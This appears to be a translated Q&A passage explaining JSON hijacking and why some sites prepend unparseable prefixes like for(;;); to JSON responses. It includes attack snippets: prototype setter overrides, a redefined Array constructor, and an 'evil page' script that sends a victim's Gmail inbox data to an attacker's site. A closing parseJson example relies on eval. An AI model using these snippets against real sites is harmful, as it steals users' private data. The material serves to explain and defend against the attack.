即使没有for(;;);攻击者如何获取数据？

攻击是基于改变行为的内置类型，特别是Object和Array，通过改变它们的构造函数或其prototype。然后，当目标 JSON 使用{...}or[...]构造时，它们将是攻击者自己的这些对象版本，具有潜在的意外行为。

例如，您可以将 setter-property 破解为Object，这将背叛写在对象文字中的值：

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

然后当 a<script>指向一些使用该属性名称的 JSON 时：

{"x": "hello"}

该值"hello"将被泄露。

数组和对象字面量导致调用 setter 的方式是有争议的。Firefox 在 3.5 版中删除了该行为，以应对针对知名网站的公开攻击。然而，在撰写本文时，Safari (4) 和 Chrome (5) 仍然容易受到此攻击。

现在所有浏览器都不允许的另一种攻击是重新定义构造函数：

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

目前，IE8 的属性实现（基于 ECMAScript 第五版标准和Object.defineProperty）目前不适用于Object.prototype或Array.prototype。

但是除了保护过去的浏览器之外，JavaScript 的扩展可能会在未来导致更多类似的潜在泄漏，在这种情况下，chaff 也应该防止这些泄漏。

考虑一下，在检查您的 GMail 帐户后，您会访问我的邪恶页面：

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

现在会发生的是，来自 Google 的 Javascript 代码——提问者认为是良性的并立即超出范围——实际上将被发布到我的邪恶站点。假设脚本标签中请求的 URL 发送（因为您的浏览器会显示正确的 cookie，Google 会正确地认为您已登录到您的收件箱）：

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

现在，我将把这个对象的序列化版本发布到我的邪恶服务器上。谢谢！

防止这种情况发生的方法是整理您的 JSON 响应，并在您来自同一域时可以操作该数据时对它们进行整理。如果您喜欢这个答案，请接受 bobince 发布的答案。

编辑

这些字符串通常被称为“无法解析的垃圾”，它们用于修补影响 JSON 规范的信息泄漏漏洞。这种攻击是真实存在的，Jeremiah Grossman 发现了 gmail 中的一个漏洞。Mozilla 还认为这是 JSON 规范中的一个漏洞，并且已经在 Firefox 3 中进行了修补。然而，因为这个问题仍然影响其他浏览器，所以需要“无法解析的垃圾”，因为它是一个兼容的补丁。

Bobice 的回答对这次攻击有技术解释，而且是正确的。

如果它无效，他们如何解析它并且如果您尝试评估它会崩溃？

这是一个功能，如果您尝试eval它，它会崩溃。 eval允许任意 JavaScript 代码，可用于跨站点脚本攻击。

他们只是从字符串中删除它吗（看起来很贵）？

我想是这样。大概是这样的：

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

“不作恶”的粗话阻止开发人员eval直接使用，而不是更安全的替代方案。